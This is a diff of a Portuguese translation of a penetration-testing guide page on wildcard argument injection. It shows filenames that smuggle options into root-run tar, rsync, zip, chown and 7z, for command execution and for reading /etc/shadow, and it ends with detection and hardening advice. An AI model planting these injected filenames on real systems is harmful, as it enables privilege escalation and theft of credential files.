Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr

src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

@@ -1,60 +1,123 @@
+# Wildcards Spare Tricks
+
 {{#include ../../banners/hacktricks-training.md}}
 
-## chown, chmod
+> A injeção de **argumento de wildcard** (também conhecida como *glob*) acontece quando um script privilegiado executa um binário Unix como `tar`, `chown`, `rsync`, `zip`, `7z`, … com um wildcard não entre aspas como `*`.
+> Como o shell expande o wildcard **antes** de executar o binário, um atacante que pode criar arquivos no diretório de trabalho pode elaborar nomes de arquivos que começam com `-`, de modo que sejam interpretados como **opções em vez de dados**, efetivamente contrabandeando flags arbitrárias ou até mesmo comandos.
+> Esta página coleta os primitivas mais úteis, pesquisas recentes e detecções modernas para 2023-2025.
 
-Você pode **indicar qual proprietário de arquivo e permissões você deseja copiar para o restante dos arquivos**
+## chown / chmod
+
+Você pode **copiar o proprietário/grupo ou os bits de permissão de um arquivo arbitrário** abusando da flag `--reference`:
 ```bash
-touch "--reference=/my/own/path/filename"
+# attacker-controlled directory
+touch "--reference=/root/secret``file"   # ← filename becomes an argument
 ```
-Você pode explorar isso usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque combinado)_\
+Quando o root executa algo como:
-Mais informações em [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
-
-## Tar
-
-**Executar comandos arbitrários:**
 ```bash
+chown -R alice:alice *.php
+chmod -R 644 *.php
+```
+`--reference=/root/secret``file` é injetado, fazendo com que *todos* os arquivos correspondentes herdem a propriedade/permissões de `/root/secret``file`.
+
+*PoC & ferramenta*: [`wildpwn`](https://github.com/localh0t/wildpwn) (ataque combinado).
+Veja também o clássico artigo da DefenseCode para mais detalhes.
+
+---
+
+## tar
+
+### GNU tar (Linux, *BSD, busybox-full)
+
+Execute comandos arbitrários abusando do recurso **checkpoint**:
+```bash
+# attacker-controlled directory
+echo 'echo pwned > /tmp/pwn' > shell.sh
+chmod +x shell.sh
 touch "--checkpoint=1"
 touch "--checkpoint-action=exec=sh shell.sh"
 ```
-Você pode explorar isso usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque tar)_\
+Uma vez que o root executa, por exemplo, `tar -czf /root/backup.tgz *`, `shell.sh` é executado como root.
-Mais informações em [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
 
-## Rsync
+### bsdtar / macOS 14+
 
-**Executar comandos arbitrários:**
+O `tar` padrão em versões recentes do macOS (baseado em `libarchive`) *não* implementa `--checkpoint`, mas você ainda pode alcançar a execução de código com a flag **--use-compress-program** que permite especificar um compressor externo.
 ```bash
-Interesting rsync option from manual:
+# macOS example
-
+touch "--use-compress-program=/bin/sh"
--e, --rsh=COMMAND           specify the remote shell to use
---rsync-path=PROGRAM    specify the rsync to run on remote machine
 ```
+Quando um script privilegiado executa `tar -cf backup.tar *`, `/bin/sh` será iniciado.
 
+---
+
+## rsync
+
+`rsync` permite que você substitua o shell remoto ou até mesmo o binário remoto por meio de flags de linha de comando que começam com `-e` ou `--rsync-path`:
 ```bash
-touch "-e sh shell.sh"
+# attacker-controlled directory
+touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh
 ```
-Você pode explorar isso usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
+Se o root mais tarde arquivar o diretório com `rsync -az * backup:/srv/`, a flag injetada gera seu shell no lado remoto.
-Mais informações em [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
 
-## 7z
+*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
 
-No **7z**, mesmo usando `--` antes de `*` (note que `--` significa que a entrada seguinte não pode ser tratada como parâmetros, então apenas caminhos de arquivo neste caso), você pode causar um erro arbitrário para ler um arquivo, então se um comando como o seguinte estiver sendo executado pelo root:
+---
+
+## 7-Zip / 7z / 7za
+
+Mesmo quando o script privilegiado *defensivamente* prefixa o wildcard com `--` (para parar a análise de opções), o formato 7-Zip suporta **arquivos de lista de arquivos** prefixando o nome do arquivo com `@`. Combinar isso com um symlink permite que você *exfiltre arquivos arbitrários*:
 ```bash
-7za a /backup/$filename.zip -t7z -snl -p$pass -- *
+# directory writable by low-priv user
+cd /path/controlled
+ln -s /etc/shadow   root.txt      # file we want to read
+touch @root.txt                  # tells 7z to use root.txt as file list
 ```
-E você pode criar arquivos na pasta onde isso está sendo executado, você poderia criar o arquivo `@root.txt` e o arquivo `root.txt` sendo um **symlink** para o arquivo que você deseja ler:
+Se o root executar algo como:
 ```bash
-cd /path/to/7z/acting/folder
+7za a /backup/`date +%F`.7z -t7z -snl -- *
-touch @root.txt
-ln -s /file/you/want/to/read root.txt
 ```
-Então, quando **7z** é executado, ele tratará `root.txt` como um arquivo contendo a lista de arquivos que deve comprimir (é isso que a existência de `@root.txt` indica) e quando o 7z ler `root.txt`, ele lerá `/file/you/want/to/read` e **como o conteúdo deste arquivo não é uma lista de arquivos, ele gerará um erro** mostrando o conteúdo.
+7-Zip tentará ler `root.txt` (→ `/etc/shadow`) como uma lista de arquivos e sairá, **imprimindo o conteúdo no stderr**.
 
-_Mais informações em Write-ups da caixa CTF do HackTheBox._
+---
 
-## Zip
+## zip
 
-**Executar comandos arbitrários:**
+`zip` suporta a flag `--unzip-command` que é passada *verbatim* para o shell do sistema quando o arquivo será testado:
 ```bash
-zip name.zip files -T --unzip-command "sh -c whoami"
+zip result.zip files -T --unzip-command "sh -c id"
 ```
+Injecte a flag através de um nome de arquivo elaborado e aguarde o script de backup privilegiado chamar `zip -T` (testar arquivo) no arquivo resultante.
+
+---
+
+## Binaries adicionais vulneráveis à injeção de wildcard (lista rápida 2023-2025)
+
+Os seguintes comandos foram abusados em CTFs modernos e em ambientes reais. O payload é sempre criado como um *nome de arquivo* dentro de um diretório gravável que será processado posteriormente com um wildcard:
+
+| Binary | Flag to abuse | Effect |
+| --- | --- | --- |
+| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrary `@file` | Ler conteúdo do arquivo |
+| `flock` | `-c <cmd>` | Executar comando |
+| `git`   | `-c core.sshCommand=<cmd>` | Execução de comando via git sobre SSH |
+| `scp`   | `-S <cmd>` | Iniciar programa arbitrário em vez de ssh |
+
+Essas primitivas são menos comuns do que os clássicos *tar/rsync/zip*, mas vale a pena verificar ao caçar.
+
+---
+
+## Detecção & Dureza
+
+1. **Desabilitar globbing de shell** em scripts críticos: `set -f` (`set -o noglob`) impede a expansão de wildcard.
+2. **Citar ou escapar** argumentos: `tar -czf "$dst" -- *` não é seguro — prefira `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
+3. **Caminhos explícitos**: Use `/var/www/html/*.log` em vez de `*` para que atacantes não possam criar arquivos irmãos que começam com `-`.
+4. **Menor privilégio**: Execute trabalhos de backup/manutenção como uma conta de serviço não privilegiada em vez de root sempre que possível.
+5. **Monitoramento**: A regra pré-construída da Elastic *Potential Shell via Wildcard Injection* procura por `tar --checkpoint=*`, `rsync -e*`, ou `zip --unzip-command` imediatamente seguido por um processo filho de shell. A consulta EQL pode ser adaptada para outros EDRs.
+
+---
+
+## Referências
+
+* Elastic Security – Regra Detectada de Potencial Shell via Injeção de Wildcard (última atualização 2025)
+* Rutger Flohil – “macOS — Injeção de wildcard do Tar” (18 de dezembro de 2024)
+
 {{#include ../../banners/hacktricks-training.md}}